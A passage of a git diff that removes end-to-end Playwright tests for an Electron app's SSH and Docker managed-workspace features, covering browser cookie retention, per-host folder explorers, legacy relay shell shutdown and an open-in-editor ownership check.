it after upgrading. - return state.createBrowserTab(worktreeId, url, { - title: 'Retained browser', - activate: false - }).id - }, - { worktreeId: remote.worktreeId, url: `${SSH_REMOTE_ONLY_ORIGIN}/login` } - ) - await expect - .poll( - () => - page.evaluate( - async ({ hostId, tabId }) => - JSON.stringify(await window.api.session.get(hostId)).includes(tabId), - { hostId: toSshExecutionHostId(remote.targetId), tabId } - ), - { timeout: 30_000, message: 'the retained browser tab never reached the host session' } - ) - .toBe(true) - const cookieMarker = `cookie:${SSH_REMOTE_ONLY_COOKIE_NAME}=${SSH_REMOTE_ONLY_COOKIE_VALUE}` - // The login cookie a relay-era session left in that host's browser storage. - const partitionBefore = relayEraPartition(remote.targetId) - // Bind legacy storage before seeding cookies; unbound data is refused as browser_route_partition_binding_store_invalid. - const bound = await page.evaluate( - (targetId) => - window.api.browser.prepareSshWorkspacePartition({ - targetId, - browserProfileId: 'default', - skipProbe: true - }), - remote.targetId - ) - expect(bound.partition).toBe(partitionBefore) - await app.evaluate( - async ({ session }, cookie) => { - const jar = session.fromPartition(cookie.partition).cookies - await jar.set({ - url: cookie.url, - name: cookie.name, - value: cookie.value, - expirationDate: Math.floor(Date.now() / 1000) + 3600 - }) - await jar.flushStore() - }, - { - partition: partitionBefore, - url: `${SSH_REMOTE_ONLY_ORIGIN}/`, - name: SSH_REMOTE_ONLY_COOKIE_NAME, - value: SSH_REMOTE_ONLY_COOKIE_VALUE - } - ) - cpSync(ORCAD_TEMPLATE!, template, { recursive: true }) - const server = await reconnect(page, remote.targetId) - console.log('[browser-conversion-connect]', server) - expect(JSON.parse(server)).toMatchObject({ kind: 'managed' }) - const environments = await page.evaluate(() => window.api.runtimeEnvironments.list()) - const environment = environments.find( - (entry) => getOrcadSshDeployment(entry)?.sshTargetId === remote.targetId - ) - if (!environment) { - throw new Error('Missing managed environment') - } - await expect - .poll( - () => - page.evaluate((worktreeId) => { - const state = window.__store?.getState() - return ( - state?.repos.find((repo) => - (state.worktreesByRepo[repo.id] ?? []).some( - (worktree) => worktree.id === worktreeId - ) - )?.executionHostId ?? null - ) - }, remote.worktreeId), - { timeout: 60_000 } - ) - .toMatch(/^runtime:/) - const retained = await page.evaluate((worktreeId) => { - const state = window.__store?.getState() - const tab = state?.browserTabsByWorktree[worktreeId]?.[0] - const repo = state?.repos.find((repo) => - (state.worktreesByRepo[repo.id] ?? []).some((worktree) => worktree.id === worktreeId) - ) - if (repo?.executionHostId) { - state?.setActiveWorktree(worktreeId, repo.executionHostId) - } - if (tab?.activePageId) { - state?.focusBrowserTabInWorktree(worktreeId, tab.activePageId, { surfacePane: true }) - } - return tab?.id ?? null - }, remote.worktreeId) - expect(retained).toBe(tabId) - // The retained tab reaches the host and still sends the relay-era cookie, with no new login. - await expect(async () => { - // A page that mounted before the host connected offers Retry, as it would to the user. - const retry = page.getByRole('button', { name: 'Retry', exact: true }) - if (await retry.isVisible()) { - await retry.click() - } - await navigateGuest(page, tabId, `${SSH_REMOTE_ONLY_ORIGIN}/echo/retained`) - expect(await guestMarker(page, tabId)).toBe(cookieMarker) - }).toPass({ timeout: 60_000 }) - expect( - await page - .locator(`[data-browser-overlay-tab-id="${tabId}"] webview`) - .getAttribute('partition') - ).toBe(partitionBefore) - await expect.poll(() => guestMarker(page, tabId), { timeout: 30_000 }).toBe(cookieMarker) - expect(readSshRemoteOnlyRequests(target)).toContainEqual({ - path: '/echo/retained', - cookie: `${SSH_REMOTE_ONLY_COOKIE_NAME}=${SSH_REMOTE_ONLY_COOKIE_VALUE}` - }) - expect( - await page - .locator(`[data-browser-overlay-tab-id="${tabId}"] webview`) - .getAttribute('partition') - ).toBe(partitionBefore) - await page.keyboard.press('Escape') - await page.evaluate(() => { - if (document.activeElement instanceof HTMLElement) { - document.activeElement.blur() - } - }) - await expect(page.locator('[data-slot="popover-content"]')).toHaveCount(0) - await page.screenshot({ path: testInfo.outputPath('browser-retained-after-conversion.png') }) - await page.evaluate( - async ({ worktreeId, url }) => { - const state = window.__store?.getState() - const groupId = state?.activeGroupIdByWorktree[worktreeId] - if (!state || !groupId) { - throw new Error('No active browser group') - } - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, - { worktreeId: remote.worktreeId, url: `${SSH_REMOTE_ONLY_ORIGIN}/echo/control` } - ) - await expect - .poll( - () => readSshRemoteOnlyRequests(target).some((request) => request.path === '/echo/control'), - { timeout: 60_000 } - ) - .toBe(true) - await page.screenshot({ path: testInfo.outputPath('browser-new-tab-control.png') }) - const createdId = await page.evaluate( - ({ worktreeId, retainedId }) => { - const created = window.__store - ?.getState() - .browserTabsByWorktree[worktreeId]?.find((tab) => tab.id !== retainedId) - if (!created) { - throw new Error('Missing new browser tab') - } - return created.id - }, - { worktreeId: remote.worktreeId, retainedId: tabId } - ) - await expect.poll(() => guestMarker(page, createdId), { timeout: 30_000 }).toBe(cookieMarker) - const partitionAfter = await page - .locator(`[data-browser-overlay-tab-id="${createdId}"] webview`) - .getAttribute('partition') - expect(partitionAfter).toBe(partitionBefore) - expect(readSshRemoteOnlyRequests(target)).toContainEqual({ - path: '/echo/control', - cookie: `${SSH_REMOTE_ONLY_COOKIE_NAME}=${SSH_REMOTE_ONLY_COOKIE_VALUE}` - }) - const generation = getOrcadSshDeployment(environment)?.sshTargetGeneration - if (generation === undefined) { - throw new Error('Missing deployment registration') - } - const stale = await page.evaluate( - async (args) => { - try { - await window.api.browser.prepareSshWorkspacePartition(args) - return 'accepted' - } catch (error) { - return String(error) - } - }, - { targetId: remote.targetId, expectedSshTargetGeneration: generation + 1 } - ) - expect(stale).toContain('browser_local_route_target_stale') - await reconnect(page, remote.targetId) - await navigateGuest(page, createdId, `${SSH_REMOTE_ONLY_ORIGIN}/echo/reconnect`) - await expect.poll(() => guestMarker(page, createdId), { timeout: 30_000 }).toBe(cookieMarker) - expect(readSshRemoteOnlyRequests(target)).toContainEqual({ - path: '/echo/reconnect', - cookie: `${SSH_REMOTE_ONLY_COOKIE_NAME}=${SSH_REMOTE_ONLY_COOKIE_VALUE}` - }) - await page.evaluate( - ({ worktreeId, tabId }) => { - const state = window.__store?.getState() - const pageId = state?.browserTabsByWorktree[worktreeId]?.find( - (tab) => tab.id === tabId - )?.activePageId - if (pageId) { - state?.focusBrowserTabInWorktree(worktreeId, pageId, { surfacePane: true }) - } - }, - { worktreeId: remote.worktreeId, tabId } - ) - await navigateGuest(page, tabId, `${SSH_REMOTE_ONLY_ORIGIN}/echo/retained-reconnect`) - await expect.poll(() => guestMarker(page, tabId), { timeout: 30_000 }).toBe(cookieMarker) - expect(readSshRemoteOnlyRequests(target)).toContainEqual({ - path: '/echo/retained-reconnect', - cookie: `${SSH_REMOTE_ONLY_COOKIE_NAME}=${SSH_REMOTE_ONLY_COOKIE_VALUE}` - }) - console.log( - '[managed-browser-route]', - JSON.stringify({ - partitionBefore, - partitionAfter, - requests: readSshRemoteOnlyRequests(target) - }) - ) - await page.keyboard.press('Escape') - await page.evaluate(() => { - if (document.activeElement instanceof HTMLElement) { - document.activeElement.blur() - } - }) - await expect(page.locator('[data-slot="popover-content"]')).toHaveCount(0) - await page.screenshot({ path: testInfo.outputPath('browser-retained-after-reconnect.png') }) - await session.close(app) - app = null - const restarted = await session.launch() - app = restarted.app - await waitForSessionReady(restarted.page) - await waitForStartupWorktreeRefresh(restarted.page) - console.log( - '[retained-browser-restored]', - JSON.stringify( - await restarted.page.evaluate(() => { - const state = window.__store?.getState() - return { - tabs: state?.browserTabsByWorktree, - pages: state?.browserPagesByWorkspace, - active: state?.activeWorktreeId, - host: state?.activeWorkspaceExecutionHostId - } - }) - ) - ) - await restarted.page.evaluate( - ({ worktreeId, environmentId, tabId }) => { - const state = window.__store?.getState() - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - const pageId = state?.browserTabsByWorktree[worktreeId]?.find( - (tab) => tab.id === tabId - )?.activePageId - if (pageId) { - state?.focusBrowserTabInWorktree(worktreeId, pageId, { surfacePane: true }) - } - }, - { worktreeId: remote.worktreeId, environmentId: environment.id, tabId } - ) - await expect - .poll(() => guestMarker(restarted.page, tabId), { timeout: 60_000 }) - .toBe(cookieMarker) - await navigateGuest(restarted.page, tabId, `${SSH_REMOTE_ONLY_ORIGIN}/echo/retained-restart`) - expect(readSshRemoteOnlyRequests(target)).toContainEqual({ - path: '/echo/retained-restart', - cookie: `${SSH_REMOTE_ONLY_COOKIE_NAME}=${SSH_REMOTE_ONLY_COOKIE_VALUE}` - }) - console.log('[retained-browser-restart]', JSON.stringify(readSshRemoteOnlyRequests(target))) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - cleanupDockerSshHostTarget(target) - rmSync(scratch, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/ssh-orcad-explorer-selected-host.spec.ts b/tests/e2e/ssh-orcad-explorer-selected-host.spec.ts deleted file mode 100644 index ec980289248..00000000000 --- a/tests/e2e/ssh-orcad-explorer-selected-host.spec.ts +++ /dev/null @@ -1,279 +0,0 @@ -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { startOrcadConvertHost } from './helpers/orcad-convert-host' -import { seedRelayEraProfile, seedRelayEraTarget } from './helpers/orcad-upgrade-profile' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { convertAndRetain, reconnect, serverCall } from './helpers/orcad-convert-flow' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './helpers/store' -import { dismissTransientAnnouncement } from './helpers/ssh-config-host-picker' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' -import { folderWorkspaceKey } from '../../src/shared/workspace/identity/workspace-scope' -import { ORCAD_TEMPLATE, skipUnlessManagedDockerHost } from './helpers/orcad-managed-workspace' -import { getOrcadSshDeployment } from '../../src/shared/remote-runtime/host-catalog/runtime-environments' - -skipUnlessManagedDockerHost() - -for (const selectedHost of ['A', 'B'] as const) { - test(`same-ID folder explorer follows selected host ${selectedHost}`, async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. - {}, testInfo) => { - test.setTimeout(5 * 60_000) - const hostA = startOrcadConvertHost('docker', testInfo) - const hostB = startOrcadConvertHost('docker', testInfo) - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: ORCAD_TEMPLATE! }) - const otherSession = createRestartSession(testInfo, { - ORCA_ORCAD_TEMPLATE_PATH: ORCAD_TEMPLATE! - }) - let app: ElectronApplication | null = null - let otherApp: ElectronApplication | null = null - try { - if (!hostA.exec || !hostB.exec) { - throw new Error('Docker controls unavailable') - } - const folderPath = '/tmp/orca-same-id-folder' - hostA.exec( - `mkdir -p '${folderPath}/nested' && printf 'initial A\n' > '${folderPath}/INITIAL_A.txt' && printf 'nested A\n' > '${folderPath}/nested/NESTED_A.txt'` - ) - hostB.exec( - `mkdir -p '${folderPath}/nested' && printf 'initial B\n' > '${folderPath}/INITIAL_B.txt' && printf 'nested B\n' > '${folderPath}/nested/NESTED_B.txt'` - ) - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await session.close(app) - app = null - const seededA = seedRelayEraProfile(session.userDataDir, hostA.input, { - repoPath: hostA.remoteRepoPath, - folderPath - }) - const initialOther = await otherSession.launch() - otherApp = initialOther.app - await waitForSessionReady(initialOther.page) - await otherSession.close(otherApp) - otherApp = null - const seededB = seedRelayEraProfile(otherSession.userDataDir, hostB.input, { - repoPath: hostB.remoteRepoPath, - folderPath - }) - const folderId = mutateStoppedProfileState(session.userDataDir, (state) => { - if (!Array.isArray(state.folderWorkspaces)) { - throw new Error('No folder fixture') - } - const folder = state.folderWorkspaces.find( - (entry) => entry.connectionId === seededA.targetId - ) - if (!folder || typeof folder.id !== 'string') { - throw new Error('Missing folder owner') - } - folder.name = 'Folder host A' - return folder.id - }) - mutateStoppedProfileState(otherSession.userDataDir, (state) => { - if (!Array.isArray(state.folderWorkspaces)) { - throw new Error('No folder fixture') - } - const folder = state.folderWorkspaces.find( - (entry) => entry.connectionId === seededB.targetId - ) - if (!folder) { - throw new Error('Missing other folder owner') - } - folder.id = folderId - folder.name = 'Folder host B' - }) - const launched = await session.launch() - app = launched.app - await waitForSessionReady(launched.page) - await convertAndRetain(launched.page, session.userDataDir, seededA) - await session.close(app) - app = null - const other = await otherSession.launch() - otherApp = other.app - await waitForSessionReady(other.page) - await convertAndRetain(other.page, otherSession.userDataDir, seededB) - await otherSession.close(otherApp) - otherApp = null - const adoptedTargetId = seedRelayEraTarget(session.userDataDir, hostB.input) - const restarted = await session.launch() - app = restarted.app - const page = restarted.page - page.on('console', (message) => { - if (message.text().startsWith('[file-change-event]') || message.type() === 'error') { - console.log('[renderer]', message.text()) - } - }) - await waitForSessionReady(page) - console.log('[adopt-existing-managed-host]', await reconnect(page, adoptedTargetId)) - const environments = await page.evaluate(() => window.api.runtimeEnvironments.list()) - const environmentA = environments.find( - (entry) => getOrcadSshDeployment(entry)?.sshTargetId === seededA.targetId - ) - const environmentB = environments.find( - (entry) => getOrcadSshDeployment(entry)?.sshTargetId === adoptedTargetId - ) - if (!environmentA || !environmentB) { - throw new Error('Missing converted host') - } - console.log( - '[actual-folder-owners]', - await serverCall(page, environmentA.id, 'folderWorkspace.list'), - await serverCall(page, environmentB.id, 'folderWorkspace.list') - ) - await waitForStartupWorktreeRefresh(page) - await expect - .poll(() => - page.evaluate( - (id) => - window.__store?.getState().folderWorkspaces.filter((folder) => folder.id === id) - .length, - folderId - ) - ) - .toBe(2) - await dismissTransientAnnouncement(page) - await page.evaluate(() => { - window.addEventListener('orca:worktree-file-change', (event) => { - if (event instanceof CustomEvent) { - console.log('[file-change-event]', JSON.stringify(event.detail)) - } - }) - }) - const worktreeId = folderWorkspaceKey(folderId) - const [index, environment, host, marker] = - selectedHost === 'A' - ? ([0, environmentA, hostA, 'HOST_A_READY.txt'] as const) - : ([1, environmentB, hostB, 'HOST_B_READY.txt'] as const) - await page.evaluate( - ({ id, hostId }) => window.__store?.getState().setActiveFolderWorkspace(id, hostId), - { - id: folderId, - hostId: toRuntimeExecutionHostId(environment.id) - } - ) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorkspaceExecutionHostId)) - .toBe(toRuntimeExecutionHostId(environment.id)) - await expect(page.getByText(`INITIAL_${selectedHost}.txt`, { exact: true })).toBeVisible() - await expect( - page.getByText(`INITIAL_${selectedHost === 'A' ? 'B' : 'A'}.txt`, { exact: true }) - ).toHaveCount(0) - await page - .locator('[data-orca-explorer-shell]') - .getByRole('button', { name: 'nested', exact: true }) - .click() - await expect(page.getByText(`NESTED_${selectedHost}.txt`, { exact: true })).toBeVisible() - console.log( - '[selected-folder-host]', - index, - await page.evaluate(() => { - const state = window.__store?.getState() - return { - id: state?.activeWorktreeId, - host: state?.activeWorkspaceExecutionHostId, - settingsHost: state?.settings?.activeRuntimeEnvironmentId, - files: state?.openFiles.map((file) => ({ - id: file.id, - owner: file.runtimeEnvironmentId - })) - } - }) - ) - const changed = page.waitForEvent('console', { - predicate: (message) => - message.text().startsWith('[file-change-event]') && - message.text().includes(marker) && - message.text().includes(environment.id), - timeout: 15_000 - }) - host.exec?.(`printf 'host ${index}\n' > '${folderPath}/${marker}'`) - console.log( - '[positive-host-file]', - await serverCall(page, environment.id, 'files.read', { - worktree: `id:${worktreeId}`, - relativePath: marker - }) - ) - await changed - await page.screenshot({ path: testInfo.outputPath('selected-host-explorer-observed.png') }) - await expect(page.getByText(marker, { exact: true })).toBeVisible({ timeout: 10_000 }) - await page.screenshot({ path: testInfo.outputPath('selected-host-explorer-refreshed.png') }) - const otherHost = selectedHost === 'A' ? hostB : hostA - otherHost.exec?.(`printf 'other host\n' > '${folderPath}/OTHER_HOST_ONLY.txt'`) - await expect(page.getByText('OTHER_HOST_ONLY.txt', { exact: true })).toHaveCount(0) - host.exec?.(`rm '${folderPath}/${marker}'`) - await expect(page.getByText(marker, { exact: true })).toHaveCount(0, { timeout: 10_000 }) - await page.screenshot({ path: testInfo.outputPath(`host-${index}-folder-watch.png`) }) - const otherName = selectedHost === 'A' ? 'B' : 'A' - const otherEnvironment = selectedHost === 'A' ? environmentB : environmentA - await page - .getByRole('option') - .filter({ hasText: `Folder host ${otherName}` }) - .click() - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorkspaceExecutionHostId)) - .toBe(toRuntimeExecutionHostId(otherEnvironment.id)) - console.log( - '[switched-host-positive-read]', - await serverCall(page, otherEnvironment.id, 'files.read', { - worktree: `id:${worktreeId}`, - relativePath: `INITIAL_${otherName}.txt` - }) - ) - await page.screenshot({ path: testInfo.outputPath('same-path-host-switch-observed.png') }) - await expect(page.getByText(`INITIAL_${otherName}.txt`, { exact: true })).toBeVisible({ - timeout: 10_000 - }) - await expect(page.getByText(`INITIAL_${selectedHost}.txt`, { exact: true })).toHaveCount(0) - await expect(page.getByText(`NESTED_${otherName}.txt`, { exact: true })).toBeVisible() - await expect(page.getByText(`NESTED_${selectedHost}.txt`, { exact: true })).toHaveCount(0) - await page.screenshot({ path: testInfo.outputPath('same-path-host-switch-refreshed.png') }) - await page.waitForTimeout(1_000) - const switchedMarker = `SWITCHED_HOST_${otherName}.txt` - const switchedChange = page.waitForEvent('console', { - predicate: (message) => - message.text().startsWith('[file-change-event]') && - message.text().includes(switchedMarker) && - message.text().includes(otherEnvironment.id), - timeout: 15_000 - }) - otherHost.exec?.(`printf 'switched host\\n' > '${folderPath}/${switchedMarker}'`) - console.log( - '[switched-host-created-file]', - await serverCall(page, otherEnvironment.id, 'files.read', { - worktree: `id:${worktreeId}`, - relativePath: switchedMarker - }) - ) - await page.screenshot({ path: testInfo.outputPath('switched-host-new-file-observed.png') }) - await switchedChange - await expect(page.getByText(switchedMarker, { exact: true })).toBeVisible({ timeout: 10_000 }) - await page.screenshot({ path: testInfo.outputPath('switched-host-new-file-visible.png') }) - await page - .getByRole('option') - .filter({ hasText: `Folder host ${selectedHost}` }) - .click() - await expect(page.getByText(`INITIAL_${selectedHost}.txt`, { exact: true })).toBeVisible({ - timeout: 10_000 - }) - await expect(page.getByText(`INITIAL_${otherName}.txt`, { exact: true })).toHaveCount(0) - await expect(page.getByText(`NESTED_${selectedHost}.txt`, { exact: true })).toBeVisible() - await page.evaluate(() => window.__store?.getState().setRightSidebarOpen(false)) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().rightSidebarOpen)) - .toBe(false) - await page.evaluate(() => window.__store?.getState().setRightSidebarOpen(true)) - await expect(page.getByText(`NESTED_${selectedHost}.txt`, { exact: true })).toBeVisible() - } finally { - if (app) { - await session.close(app) - } - if (otherApp) { - await otherSession.close(otherApp) - } - await session.dispose() - await otherSession.dispose() - hostA.cleanup() - hostB.cleanup() - } - }) -} diff --git a/tests/e2e/ssh-orcad-legacy-relay-bridge.spec.ts b/tests/e2e/ssh-orcad-legacy-relay-bridge.spec.ts deleted file mode 100644 index 077ef8b421d..00000000000 --- a/tests/e2e/ssh-orcad-legacy-relay-bridge.spec.ts +++ /dev/null @@ -1,164 +0,0 @@ -// Persist a pending relay stop across an app restart while preserving another desktop’s shell. -// COMPAT(legacy-relay-bridge): revisit 2027-01-15, with src/main/ssh/legacy-relay/. - -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' - -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { managedServer } from './helpers/orcad-convert-flow' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { readPersistedProfileState } from './helpers/persisted-profile-state' - -import { toSshExecutionHostId } from '../../src/shared/execution-host' -import { toAppSshPtyId } from '../../src/shared/remote-runtime/ssh/ssh-pty-id' -import { - cleanupDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - startDockerSshHostTarget, - type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { - echoThroughDockerRelay, - installReleasedRelayOnDockerHost, - listDockerRelayPtys, - startDockerRelayWithShell -} from './helpers/legacy-relay-docker-host' - -const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE -const BRIDGE_TIMEOUT_MS = 4 * 60_000 - -test.skip( - process.env.ORCA_E2E_ORCAD_CONVERT_HOST !== 'docker' || !TEMPLATE_SOURCE, - 'Set ORCA_E2E_ORCAD_CONVERT_HOST=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE' -) - -let host: DockerSshHostTarget | null = null - -test.afterEach(() => { - cleanupDockerSshHostTarget(host) - host = null -}) - -function bridgedPanes(page: Page): Promise<{ ptyId: string; state: string }[]> { - return page.evaluate(async () => (await window.api.legacyRelayBridge?.listPanes()) ?? []) -} - -function launchUpgraded(session: ReturnType) { - return session.launch({ - onStderr: (chunk) => { - if (chunk.includes('[ssh]')) { - process.stderr.write(chunk) - } - } - }) -} - -test('a bridged tab closed while disconnected stops its shell even after a restart', async ({ - testRepoPath -}, testInfo: TestInfo) => { - test.setTimeout(25 * 60_000) - host = startDockerSshHostTarget(testInfo) - const targetId = `ssh-bridge-close-${Date.now()}` - const relay = await installReleasedRelayOnDockerHost(host, TEMPLATE_SOURCE!) - const ours = await startDockerRelayWithShell(host, relay, targetId, 'before-upgrade') - const theirs = await startDockerRelayWithShell(host, relay, 'another-desktop', 'theirs') - const bridgedPtyId = toAppSshPtyId(targetId, ours.relayPtyId) - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE! }) - const ourLease = (): { state?: unknown; pendingKill?: unknown } | undefined => { - const leases = readPersistedProfileState(session.userDataDir).sshRemotePtyLeases - return (Array.isArray(leases) ? leases : []).find( - (lease: { ptyId?: unknown }) => lease.ptyId === ours.relayPtyId - ) - } - let app: ElectronApplication | null = null - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await first.page.evaluate((repoPath) => window.api.repos.add({ path: repoPath }), testRepoPath) - await session.close(app) - app = null - const seeded = seedRelayEraProfile( - session.userDataDir, - { - label: `legacy relay bridge close E2E ${Date.now()}`, - host: host.host, - port: host.port, - username: 'root', - identityFile: host.identityFile, - identitiesOnly: true, - relayGracePeriodSeconds: 1 - }, - { repoPath: DOCKER_SSH_HOST_REMOTE_REPO_PATH, folderPath: '/tmp' }, - { targetId, relayPtyId: ours.relayPtyId } - ) - - const upgraded = await launchUpgraded(session) - app = upgraded.app - let page = upgraded.page - await waitForSessionReady(page) - await page.evaluate( - ({ worktreeId, hostId, tabId }) => { - const state = window.__store!.getState() - state.setActiveWorktree(worktreeId, hostId) - state.setActiveTab(tabId) - state.setActiveTabType('terminal', worktreeId) - }, - { - worktreeId: seeded.worktreeId, - hostId: toSshExecutionHostId(targetId), - tabId: seeded.terminalTabId! - } - ) - await expect - .poll(() => managedServer(page, targetId), { timeout: 8 * 60_000 }) - .toMatchObject({ kind: 'managed' }) - await expect - .poll(() => bridgedPanes(page), { timeout: BRIDGE_TIMEOUT_MS }) - .toEqual([expect.objectContaining({ ptyId: bridgedPtyId, state: 'live' })]) - - // Close while disconnected exercises both renderer PTY kill without a provider and the bridge transport close. - await page.evaluate((id) => window.api.ssh.disconnect({ targetId: id }), targetId) - await page.evaluate(async (ptyId) => { - await window.api.pty.kill(ptyId) - await window.api.legacyRelayBridge?.close({ ptyId }) - }, bridgedPtyId) - // Loss of contact is never exit: the shell still runs, and its stop is owed. - expect(await listDockerRelayPtys(host, relay, ours.sockPath)).toEqual([ours.relayPtyId]) - - // Restart before reconnecting: only the persisted stop survives. - await session.close(app) - app = null - expect(ourLease()?.state).not.toBe('terminated') - expect(ourLease()?.pendingKill).toBeTruthy() - - const restarted = await launchUpgraded(session) - app = restarted.app - page = restarted.page - await waitForSessionReady(page) - await page.evaluate((id) => window.api.ssh.connect({ targetId: id }), targetId) - // A failed listing is not absence: only the relay's own empty answer proves the shell stopped. - await expect - .poll(() => listDockerRelayPtys(host!, relay, ours.sockPath).catch(() => ['']), { - timeout: BRIDGE_TIMEOUT_MS, - intervals: [2_000] - }) - .toEqual([]) - // Never offered back as a pane to reattach. - expect(await bridgedPanes(page)).toEqual([]) - await session.close(app) - app = null - expect(ourLease()?.pendingKill).toBeUndefined() - - // Another desktop's relay keeps running its shell, untouched. - expect(await echoThroughDockerRelay(host, relay, theirs, 'still-here')).toContain( - 'GOT:still-here' - ) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - } -}) diff --git a/tests/e2e/ssh-orcad-open-in-owner.spec.ts b/tests/e2e/ssh-orcad-open-in-owner.spec.ts deleted file mode 100644 index c5f8430644f..00000000000 --- a/tests/e2e/ssh-orcad-open-in-owner.spec.ts +++ /dev/null @@ -1,180 +0,0 @@ -import { - chmodSync, - existsSync, - mkdirSync, - mkdtempSync, - readFileSync, - rmSync, - writeFileSync -} from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { - launchConvertedProfile, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { dismissTransientAnnouncement } from './helpers/ssh-config-host-picker' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' -import { folderWorkspaceKey } from '../../src/shared/workspace/identity/workspace-scope' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'Needs a POSIX recorder') - -for (const surface of [ - 'source-control', - 'explorer-toolbar', - 'workspace-menu', - 'folder-menu' -] as const) { - test(`a managed ${surface} target cannot launch a local editor for a same-path desktop file`, async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. - {}, testInfo) => { - test.setTimeout(4 * 60_000) - const owned = mkdtempSync(path.join(os.tmpdir(), 'orca-open-in-owner-')) - const repoPath = path.join(owned, 'repo') - const filePath = path.join(repoPath, 'README.md') - const folderPath = path.join(owned, 'folder') - const recorder = path.join(owned, 'record-editor') - const receiptPath = path.join(owned, 'editor-receipt') - const localMarker = 'LOCAL_ONLY_EDITOR_COLLISION' - const remoteMarker = 'REMOTE_ONLY_EDITOR_OWNER' - mkdirSync(repoPath) - writeFileSync(filePath, `${localMarker}\n`) - mkdirSync(folderPath) - writeFileSync(path.join(folderPath, 'README.md'), `${localMarker}\n`) - // This recorder writes argv/content and exits; it never opens or focuses a window. - writeFileSync( - recorder, - `#!/bin/sh\nprintf 'DESKTOP_PID=%s\\nARG=%s\\n' "$$" "$1" > ${quotePosixShell(receiptPath)}\nif [ -d "$1" ]; then cat "$1/README.md"; else cat "$1"; fi >> ${quotePosixShell(receiptPath)}\n` - ) - chmodSync(recorder, 0o755) - const receipt = (): string => (existsSync(receiptPath) ? readFileSync(receiptPath, 'utf8') : '') - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - if (!host.exec) { - throw new Error('Missing owned Docker controls') - } - const execute = host.exec - execute( - `mkdir -p ${quotePosixShell(owned)} && git clone --quiet ${quotePosixShell(host.remoteRepoPath)} ${quotePosixShell(repoPath)} && printf '%s\\n' ${quotePosixShell(`# ${remoteMarker}`)} > ${quotePosixShell(filePath)} && mkdir -p ${quotePosixShell(folderPath)} && printf '%s\\n' ${quotePosixShell(`# ${remoteMarker}`)} > ${quotePosixShell(path.join(folderPath, 'README.md'))}` - ) - const { page, seeded, environmentId } = await launchConvertedProfile(fixture, { - repoPath, - folderPath, - beforeSeed: async (page) => { - expect( - await page.evaluate( - async ({ filePath, recorder }) => { - await window.api.settings.set({ - openInApplications: [ - { id: 'recorder', label: 'Recording editor', command: recorder } - ] - }) - return window.api.shell.openInExternalEditor({ - path: filePath, - openInApplicationId: 'recorder', - ownerHostId: 'local' - }) - }, - { filePath, recorder } - ) - ).toEqual({ ok: true }) - await expect.poll(receipt).toContain(localMarker) - console.log('[local-recorder-control]', receipt()) - rmSync(receiptPath) - } - }) - const readConvertedFolderId = () => - page.evaluate( - (folderPath) => - window.__store - ?.getState() - .folderWorkspaces.find((folder) => folder.folderPath === folderPath)?.id, - folderPath - ) - if (surface === 'folder-menu') { - await expect.poll(readConvertedFolderId, { timeout: 30_000 }).toBeTruthy() - } - const convertedFolderId = surface === 'folder-menu' ? await readConvertedFolderId() : null - if (surface === 'folder-menu' && !convertedFolderId) { - throw new Error('Missing converted folder') - } - const workspaceId = convertedFolderId - ? folderWorkspaceKey(convertedFolderId) - : seeded.worktreeId - const content = await serverCall(page, environmentId, 'files.read', { - worktree: `id:${workspaceId}`, - relativePath: 'README.md' - }) - console.log('[remote-owned-file]', content) - expect(content).toContain(remoteMarker) - await page.evaluate( - async ({ id, hostId, recorder }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Missing renderer store') - } - state.setActiveWorktree(id, hostId) - await state.updateSettings({ - openInApplications: [{ id: 'recorder', label: 'Recording editor', command: recorder }] - }) - state.setRightSidebarTab('explorer') - state.setRightSidebarOpen(true) - }, - { id: workspaceId, hostId: toRuntimeExecutionHostId(environmentId), recorder } - ) - expect( - await page.evaluate(() => window.__store?.getState().settings?.activeRuntimeEnvironmentId) - ).toBeNull() - await dismissTransientAnnouncement(page) - if (surface !== 'folder-menu') { - await expect(page.locator('.rich-markdown-editor')).toContainText(remoteMarker, { - timeout: 30_000 - }) - } - if (surface === 'source-control') { - await page.getByRole('button', { name: /Source Control/ }).click() - await expect(page.getByRole('textbox', { name: 'Commit message' })).toBeVisible() - const entry = page - .locator('[data-testid="source-control-entry"]') - .filter({ hasText: 'README.md' }) - await expect(entry).toBeVisible({ timeout: 15_000 }) - await entry.click({ button: 'right' }) - await expect( - page.getByRole('menuitem', { - name: /Reveal in Finder|Reveal in File Explorer|Open Containing Folder/ - }) - 